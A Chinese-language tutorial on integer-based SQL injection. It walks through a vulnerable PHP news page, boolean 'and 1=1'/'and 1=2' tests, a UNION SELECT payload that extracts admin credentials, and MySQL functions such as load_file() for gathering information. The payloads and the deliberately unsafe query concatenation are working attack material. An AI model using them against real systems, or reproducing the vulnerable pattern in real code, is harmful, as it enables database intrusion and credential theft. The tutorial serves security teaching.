時間:2020-08-20來源:www.farandoo.com作者:電腦系統城
0x01 什么是SQL注入
SQL是一種注入攻擊,通過前端帶入后端數據庫進行惡意的SQL語句查詢。
0x02 SQL整型注入原理
SQL注入一般發生在動態網站URL地址里,當然也會發生在其它地發,如登錄框等等也會存在注入,只要是和數據庫打交道的地方都有可能存在。
如這里http://192.168.30.22/intsql/shownews.php?id=5 我們打開shownews.php源文件看下代碼
if(isset($_GET['id'])) { $id=$_GET["id"]; } else { echo "<script language='javascript'>"; echo "alert('ÇëÊäÈëÕýÈ·ID£¡');"; echo " location='index.php';"; echo "</script>"; exit; } $sql4="select * from news where id=$id"; $result4=mysql_query($sql4); if($nums=mysql_num_rows($result4)) { $rs4=mysql_fetch_array($result4); $title=$rs4["title"]; $content=$rs4["content"]; $hits=$rs4["hits"]; $fbsj=date("Y-m-d",strtotime($rs4['fbsj'])); $sql="update news set hits=hits+1 where id=$id"; mysql_query($sql); }
首先定義一個變量id,$id=$_GET["id"];獲取GET的值,
然后定義一個sql4變量來存放sql查詢語句,并和剛才變量id進行拼接組合,
$sql4="select * from news where id=$id";
最后帶入數據庫進行查詢 $result4=mysql_query($sql4);
由此可以確定此文件存在SQL注入漏洞,id是數字型
0x03 驗證漏洞
現在我們在地址欄id=5 后面輸入 and 1=1 頁面返回了正常
那么代碼里的sql語句拼接起來應該就是$sql4="select * from news where id=5 and 1=1"; //整條語句帶入數據庫進行查詢 SQL語句返回為真即true
現在我們在地址欄id=5 后面輸入 and 1=2 頁面返回了錯誤
那么代碼里的sql語句拼接起來應該就是$sql4="select * from news where id=5 and 1=2"; //整條語句帶入數據庫進行查詢 SQL語句返回為假即false
依次類推,如果看不懂的話,可以去補一點sql基本語法知識。
最后在查詢出管理員的后臺賬號和密碼 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly
可以看到SQL語句拼接起來變成一條完整的select * from news where id=5 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly
mysql數據庫一些常用函數: 我們也可以加到查詢語句里進行爆出對應的信息
1:system_user() 系統用戶名
2:user() 用戶名
3:current_user 當前用戶名
4:session_user()連接數據庫的用戶名
5:database() 數據庫名
6:version() MYSQL數據庫版本 @@version
7:load_file() MYSQL讀取本地文件的函數
8:@@datadir 讀取數據庫路徑
9:@@basedir MYSQL 安裝路徑
10:@@version_compile_os 操作系統
2020-08-31
針對全球SSH服務器的新型無文件P2P僵尸網絡悄然入侵?2020-08-31
TEAM TNT:竊取AWS憑證的加密貨幣挖礦蠕蟲2020-08-31
僵尸網絡可通過智能家居設備影響能源市場